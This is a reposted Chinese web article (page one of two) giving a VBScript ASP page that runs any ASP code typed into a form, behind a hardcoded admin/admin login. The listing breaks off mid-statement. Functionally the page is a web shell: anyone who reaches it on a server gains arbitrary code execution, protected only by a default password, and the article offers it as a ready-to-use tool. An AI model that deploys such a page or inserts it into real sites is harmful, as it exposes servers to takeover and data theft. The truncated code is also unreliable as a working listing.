您现在的位置: 军旅同心-旅游自驾-军旅文学 >> 读书赏析 >> 学习园地 >> 电脑网络 >> 技术文章 >> 正文
编写一个asp代码执行器
作者:采集员 文章来源:来源于网络 点击数: 更新时间:2005-9-10 13:12:23

保存为runasp.asp运行。账号密码admin,登陆后输入代码就可执行了!!

<% @ LANGUAGE="VBSCRIPT" %>
<%Option Explicit
response.buffer=true
dim Spassword,SUserName
    SUserName="admin"
    Spassword="admin"
dim SQLMutiStr
dim i
dim action
    action=request.querystring("action")

IF action="GetCode" then '---------TOT
    NumCodeJS
ELSE '--------TOT
    Response.Write("<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.0 Transitional//EN"">")
    Response.Write("<HTML>")
    Response.Write("<HEAD>")
    Response.Write("<TITLE>ASP RunCode SCR V1.0 / Create By PaintBlue.Net V37</TITLE>")
    Response.Write("<META NAME=""Generator"" CONTENT=""EditPlus,V37,PaintBlue.Net"">")
    Response.Write("<META NAME=""Author"" CONTENT=""V37,PaintBlue.Net"">")
    Response.Write("<META NAME=""Keywords"" CONTENT=""PaintBlue.Net,,V37,RunCode,ASP,Script,BlueIdea.COM,Lfgbox.com"">")
    Response.Write("<META NAME=""Description"" CONTENT=""运行ASP代码的ASP脚本!"">")
    Response.Write("</HEAD>")
    Response.Write("<BODY bgcolor=#D4D0C8>")

    SQLMutiStr=trim(Request.Form("SQLMutiStr"))
    if session("login")="" and action="chkpass" then
        session("login")=checkPass()
    end if
    if action="exit" then session("login")=""
    if session("login")="1" then
            if action="RunCode" then 
                if SQLMutiStr="" then
                    Response.write "没有输入要运行的代码!"
                    Response.write "<br><br><a href=""javascript:window.history.back();"">返回运行页面</a><br><br>"
                    Response.write "<a href=""?action=exit"">退出登陆</a>"
                    response.end
                else
                    dim ExeStrArr
                    dim re
                    dim tempSQL,tempSQL2
                        dim ScriptArr,ScriptSubArr
                        tempSQL2=""
                    tempSQL=split(SQLMutiStr,vbcrlf)
                    if inStr(lcase(tempSQL(0)),"language")>0 then
                        tempSQL2=tempSQL(1)
                        if ubound(tempSQL)>1 then
                            for i=1 to ubound(tempSQL)
                                tempSQL2=tempSQL2&tempSQL(i)
                            next
                        end if
                        tempSQL2=trim(tempSQL2)
                    else
                        tempSQL2=SQLMutiStr
                    end if
                        tempSQL2=replace(tempSQL2,"<%"&"=","<"&"%response.write ")
                        do
                            tempSQL2=replace(tempSQL2,vbcrlf&vbcrlf,vbcrlf)
                        loop while instr(tempSQL2,vbcrlf&vbcrlf)>0
                            tempSQL2=trim(tempSQL2)
                            tempSQL2="<"&"%%"&">"&tempSQL2&"<"&"%%"&">"
                            ScriptArr=split(tempSQL2,"%"&">")
                        dim ub,kub
                            ub=ubound(ScriptArr)
                        for i=0 to ub-1
                            ScriptSubArr=split(ScriptArr(i),"<"&"%")
                            if i>0 then response.write (ScriptSubArr(0))
                            ExeCuteIt(ScriptSubArr(1))
                        next
                    call EndProc("<font color=#009900>代码运行完毕!</font>")
                end if
            else
                %>
                输入要运行的ASP代码:
                <FORM METHOD=POST ACTION="?action=RunCode" style="margin:0px;">
                <TEXTAREA NAME="SQLMutiStr" wrap='OFF' ROWS="20" style="width:100%;height:100%;table-layout:fixed;word-break:break-all;"><%=Server.Htmlencode(SQLMutiStr)%></TEXTAREA>
                <br>
                <INPUT TYPE="button" onclick="window.location.href='?action=exit';" Value="LouOut">
                <INPUT TYPE="reset" Value="Clear">
                <INPUT TYPE="submit" value="Run AspCode">
                </FORM>
        <%    end if
    else
        call loginmain()
    end if
    &nb

[1] [2] 下一页


更多
免责声明:作品版权归所属媒体与作者所有!!本站刊载此文不代表同意其说法或描述,仅为提供更多信息。如果您认为我们侵犯了您的版权,请告知!本站立即删除。有异议请联系我们。
文章录入:烟灰缸    责任编辑:烟灰缸 
  • 上一篇文章:
  • 下一篇文章:
  • 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 网站地图 | 版权申明 | 网站公告 | 管理登录 |